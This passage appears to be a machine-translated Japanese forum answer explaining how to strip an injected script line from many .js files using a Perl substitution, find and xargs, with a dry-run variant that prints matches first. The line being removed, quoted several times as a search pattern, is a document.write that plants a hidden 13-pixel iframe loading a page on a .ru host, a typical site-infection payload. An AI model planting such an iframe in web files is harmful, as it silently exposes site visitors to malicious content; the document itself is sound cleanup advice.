Perl\Q...\E
表記を使用して、メタ文字を一時停止します。ただし、文字列にはシェルに固有の文字の混乱が含まれているため、(置換される文字列には表示されないscript.pl
)を使用して、Perl正規表現をファイル()に配置します。%
正規表現の区切り文字として:
s%\Q;document.write('<iframe src="http://tweakdoled.ru/confirmingunhelpful.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');\E%%g;
そして、それを次のように実行します。
find ./ -name "*.js" -type f | xargs perl -pi.bak -f script.pl
十分な時間を費やすと、スクリプトファイルなしで動作させる方法を見つけることができるでしょう。ただし、おそらく努力する価値はありません(特に、数日前にこれと非常によく似た質問をしたと確信しているため)。
明らかに、これを実行してファイルを編集する前に、バリアントを実行して、求められている行が印刷されていることを確認します。
script2.pl
:
print if m%\Q;document.write('<iframe src="http://tweakdoled.ru/confirmingunhelpful.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');\E%;
使用して実行:
find ./ -name "*.js" -type f | xargs perl -n -f script2.pl
これで線が検出されない場合は、一致するものが見つかるまでバリエーションを追跡します。次のようなものを使用することを決定するかもしれません:
print if m%;document.write.'<iframe src="http://tweakdoled.ru/confirmingunhelpful.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>'.;%;
これにより、2つの括弧がに置き換えられます.
(したがって、理論的には他の何かと一致する可能性がありますが、実際には一致しません)。